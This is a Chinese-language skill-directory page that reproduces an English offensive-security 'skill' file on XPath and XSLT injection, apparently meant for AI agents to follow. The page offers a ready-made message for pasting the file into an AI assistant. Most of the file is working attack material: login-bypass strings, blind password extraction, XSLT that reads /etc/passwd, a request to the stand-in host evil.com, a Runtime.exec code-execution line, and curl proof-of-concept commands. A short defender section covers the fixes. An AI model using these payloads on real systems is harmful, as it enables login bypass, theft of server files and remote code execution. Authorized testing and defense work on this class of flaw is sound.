跳到正文
Skillpedia
安全6.5k · #14086

xpath-xslt

它能做什么

这份指南涵盖 XML 查询和转换代码中的注入缺陷,它们可能绕过登录或读取文件。适合使用 XML 数据存储和 XML 报表生成器的开发人员和测试人员。

适用场景

  • ✓当应用使用用户输入构建 XML 查询时,例如针对 XML 文件的登录检查。
  • ✓当 XML 报表生成器接受用户提供的转换规则时。
  • ✓当授权测试想检查 XML 处理是否会读取外部数据时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们的旧版登录功能通过 XML 文件检查用户。请帮我检查查询能否被输入操纵?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体查找输入被拼接进 XML 查询或转换的位置,然后在安全的测试环境中测试特殊字符是否会改变结果。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

XPath + XSLT Injection

XPath Injection

XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

Auth bypass

# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  → returns all users

Blind extraction

# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions

XSLT Injection

Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.

document() function — file read

<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF

EXSLT — RCE on some engines

<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>

Reflected XSS via XSLT

<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->

Detection

  • Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
  • Apps using XPath: legacy intranets, file-based config querying, XML feeds

PoC

# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF

Severity

  • XPath auth bypass: Critical 9.8
  • XSLT file read: Critical 9.0
  • XSLT RCE: Critical 10.0
  • Blind XPath extraction: High 7-8

Defender

  • Use parameterized XPath via libraries (lxml.etree.XPath(expr) w/ variable bindings)
  • Disable XSLT extensions by default
  • Use XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)
  • Sanitize / strict-validate XML input schema

Cross-references

  • Upstream: skills/_corpus/payloads/XPATH Injection/ + XSLT Injection/
  • XXE (different XML class): skills/exploit/web/xxe.md
常见问题

什么是 XPath?

它是一种用于从 XML 文档中选取数据的查询语言。

为什么 XSLT 比 XPath 更危险?

该指南指出,XSLT 功能更强大,部分引擎支持读取文件和其他扩展。

主要的修复方法是什么?

避免用原始输入拼接查询,改用安全的参数处理方式。

详情

作者的原始描述

XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14086
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能